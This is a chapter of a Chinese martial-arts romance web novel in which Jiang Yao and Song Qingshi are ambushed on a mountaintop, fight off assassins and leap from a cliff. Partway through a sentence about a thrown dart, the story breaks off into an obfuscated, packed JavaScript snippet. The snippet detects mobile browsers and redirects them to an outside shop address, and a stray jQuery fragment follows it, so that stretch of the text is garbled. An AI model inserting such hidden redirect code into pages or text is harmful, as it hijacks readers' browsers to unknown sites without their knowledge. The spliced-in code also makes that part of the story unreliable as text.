立于天行山山顶,可以将山间风光尽收眼底,绵延的山色在暮霭中显现,层林尽染,远峰如黛。
只是此刻的江遥和宋清时,皆无心欣赏。
迎面而来的秋风将他们二人的衣衫吹动得猎猎作响,紫色的裙摆和月白色的袍角交织在一起,看上去有一种奇妙的和谐。
“这天行山实在是太大了,从山底找到山顶,也没有发现醉骨草的半点踪迹。”江遥抬手擦去额头的一层薄汗,语气有些烦躁。
宋清时倒是不急不慌的,既然找不到,他索性就找了块地方坐了下来,哪怕月白的衣袍沾了尘土也丝毫不在意。
他拍了拍身侧的石面,示意江遥也歇一下。
两人在山下徒劳无功地找了许久,等登上山顶时,天色已经有几分暗。此刻暮色渐起,倒是有一种别样的风致。
秋风吹过山峦,有飞鸟不时经过,四周都安静而静谧,恍若空旷的天地间只有他们两个的存在。
静坐许久,宋清时忽然开口,声音散漫如这暮色:“阿遥姑娘当初为会来天行山?”
“替我师兄走一趟”,江遥托着腮,陷入了回忆中,“他接了个悬赏令,目标要来此围猎。但他素来最不耐烦这种场合,就推给我了。”
宋清时轻扬眉梢:“冒味一问,令师兄的任务也是要割人发丝吗?”
“小宋大人。”江遥瞪了他一眼,“割人发丝,不过是我给那些登徒子的一点小教训。至于我师兄,他可是有正经行当的好不好。”
宋清时笑了笑,刚要开口说是自己浅薄了,结果江遥又很快地接着说:"我师兄可是神偷,入行多年,从无败绩的那一种。"
表情得意洋洋,语气非常自豪。
“……”
在一个大理寺官员面前说自己师兄是神偷,宋清时一时不知道该感谢江遥的信任,还是该立马逼问出她师兄的下落,把她师兄抓起来了。
“所以令师兄的任务是?”
“雇主只想让那位大人当众丢个大脸。所以我就趁他沐浴时,把他的假发顺走了。”江遥笑嘻嘻的。
“礼部的岳大人?”提起假发,宋清时好像想起来了一个人。
他同此人接触过几次,对此人仅有的印象就是才气有余而眼界不足,气量狭小又睚眦必报。
如此想来,岳大人在朝中的死对头确实颇多,会被人针对也不足为奇了。
“正是。”反正这件事已经过去几年了,就算是想指认也再难找到证据。
江遥索性说得多了些,她笑得眼睛弯弯,道:“雇主还叫我带个画师,把那位大人头顶发光的样子画下来,给他带回去仔细欣赏。发现假发失踪的时候,那位大人四处找,都快把周围的营帐翻遍了,也没找到。”
“不得不说,阿遥姑娘的办事能力真是……令人佩服。”
暮色中,想到岳大人追着假发到处找的样子,年轻男子的唇角终是没压住,几不可闻地低笑了一声。
“后来怎么样?”
“后来啊。”江遥随手把手边的小石子儿丢向远方,石子在空中划过一道弧线,然后很快消失不见,掉落到了眼前悬崖的底端。
“后来,那位头顶光光的大人无意中得知了是谁要让他出丑,也给我师兄发了一道悬赏令,让我师兄去把前雇主的腰带偷了,因为他听说,对方经常在腰带上写些酸诗,送给他在醉春楼的情人。”
难以想象,究竟是何种的深仇大恨,才让江遥师兄的两位雇主如此打击报复彼此。
宋清时哑然失笑,他觉得江遥真的是一个很神奇的姑娘,会写话本,武功也不错,更重要的是,还有一些奇奇怪怪的师兄师姐,就连接个悬赏令也是如此地清新脱俗。
两人正说着话,周遭的密林却突然传来了簌簌的破空声。
“小心!”
江遥反应极快,一把将宋清时按倒。
一只凌空而来的箭矢擦着他的肩膀划过。
“小宋大人,躲好。”
话音未落,年轻女子已翻身跃起,她抽出佩剑,檀紫色发带束着的高马尾随着她在空中的腾跃甩出漂亮的弧线。
宋清时没有犹豫,依言退至一处山石之后。此时此刻,不添乱就是对江遥最好的辅助。
越来越多的箭矢从密林里射出,江遥手中挥舞的剑光为宋清时织起了一道密不透风的网。她身形灵动,纵横起落间,已经将射来的箭矢尽数拦截。
起初,双方还保持着微妙的平衡,直到某个箭矢疏落的瞬间,江遥抓住时机,从袖中掷出四枚短小的飞椎,分四个方向,向密林中的几个身影袭去。
这是她为了自保用的飞椎,飞椎上涂了毒,见血封喉。不到最危险的时刻,她不会轻易使用。
扑通几声,四支飞椎无一虚发,随着林间枝叶的晃动,四道身影接连扑倒在地,再无声息。
“困兽之斗。”一道阴沉的声音从林荫里传来。
走出来的黑衣人,年约三十,右眼上方有一道自眉心斜劈而下的疤痕,未被面巾遮住的疤痕深而狰狞,像是被人硬生生用匕首刻上去的。
“倒是小瞧你了”,那蒙面黑衣人扫了眼自己手上空空如也的箭袋,索性将其丢弃,从背后拔出一把可以一刀断骨的鬼头刀,向着江遥砍去,“那就先给你这个碍事的丫头片子一个痛快吧。”
随着他的暴起前冲,数十道黑影也紧随其后,刀光剑影间,无数杀招向江遥袭来。
江遥起先尚能阻挡,但因为先前抵抗箭矢已经耗费了许多体力,还要分神留意宋清时的安全,不出片刻,额头已经沁出了细密的汗珠,气息也稍显凌乱。
当疤痕刀客那一刀凌空而来时,江遥虽以剑格挡,将刀锋偏转,但鬼头刀犹有余劲,竟然硬生生把她的长剑斩断,在她的肩膀处落了一刀。
“真是没有礼貌啊。”年轻女子撇撇嘴,丝毫不在意衣襟渗出的汩汩鲜血,冲疤痕刀客面门劈下满含内力的一掌,趁对方躲避的时候,手腕翻转,射出两支飞椎,一支射向疤痕刀客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506880|202237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,另一支则射向向她扑杀而来的另一黑衣人。
“那你们就拿命来给本姑娘赔礼道歉吧。”
两支飞椎又快又稳,直冲两人关键穴位而去。
女子话音落下的瞬间,疤痕刀客瞳孔一缩,竟在千钧一发之际将鬼头刀往身前一竖,险险将飞椎格开。
而向江遥用剑的那个黑衣人却是反应不及,被飞椎击中了心口,惨叫一声倒了下去。
趁他长剑脱手之际,江遥身形如电,极速掠至他身侧,夺下长剑,重新有了武器。
她随手抹去溅在脸上的那一点血迹,剑尖斜指,目光冷冽地扫过剩余的黑衣人:
“还有谁想送死,一起上吧。”
一直凝神观战的宋清时,眉头越蹙越紧。他看得分明,江遥招式虽然依旧凌厉,可气息已经有些紊乱,而她右肩伤口处的血色也还在蔓延,再继续缠斗下去,恐会不妙。
宋清时把目光转向几步之外的悬崖,悬崖之下,云雾缭绕,隐约可见嶙峋的怪石和横斜的古柏枝干,看起来十分凶险。
可有时候,杀机就是生机,若是纵身一跃,或能留一息尚存。
他当机立断,指尖探入袖中,看准时机,对着疤痕刀客和剩余的黑衣人掷出一个瓷瓶。
疤痕刀客下意识砍了下去。
“嘭”的一声,瓶中雪白的粉末漫天炸开,若白色的浓雾笼罩住众人,还有呛人的味道。
瓷瓶中装的本来是大理寺用来追踪凶手踪迹的白粉,持续时间很长且难以消除,黑衣人们担心是有毒的粉末,纷纷屏住呼吸,不敢轻举妄动。
一片混乱之中,宋清时已经闪至江遥身侧,他抓住江遥未受伤的左臂,将江遥带至悬崖面前,目光中带着决绝。
只这一眼,江遥便读懂了他的意思。
身后,白雾中已传来急促的脚步声。
江遥偏头看他染了尘的侧脸,忽然扬了扬唇:
“小宋大人,你信不信我?”
宋清时的回答清晰简短:“我信。”
二人不再迟疑,纵身一跃,直接从万丈悬崖上跳了下去。
衣袖翻飞间,江遥搭上宋清时的腰侧,将他往身前一揽,同时另一只手将剑插入崖壁之中,为二人减缓下落的速度。
两人下坠的势头骤然一停,脚下是望不见底的悬崖。
然而剑身终究承受不住两个人的重量,“咔”的一声,从中间断开了。
两人的身影极速下落,很快就消失不见。
崖顶的风声依旧猎猎,将最后一点呛人的白雾吹散。
领头的疤痕刀客站在悬崖边,目光停留在先前那两个人消失的方向。
“疤爷,您看这两人都掉下悬崖了,我们的兄弟也损伤大半,和陆大人这交易也算完成了吧?”一名黑衣人绕过地上横七竖八的尸体走过来,谄媚地问道。
“架绳索,下悬崖。”疤痕刀客转过头,冰冷地说:“大人吩咐了,宋清时这个人,活要见人,死要见尸。”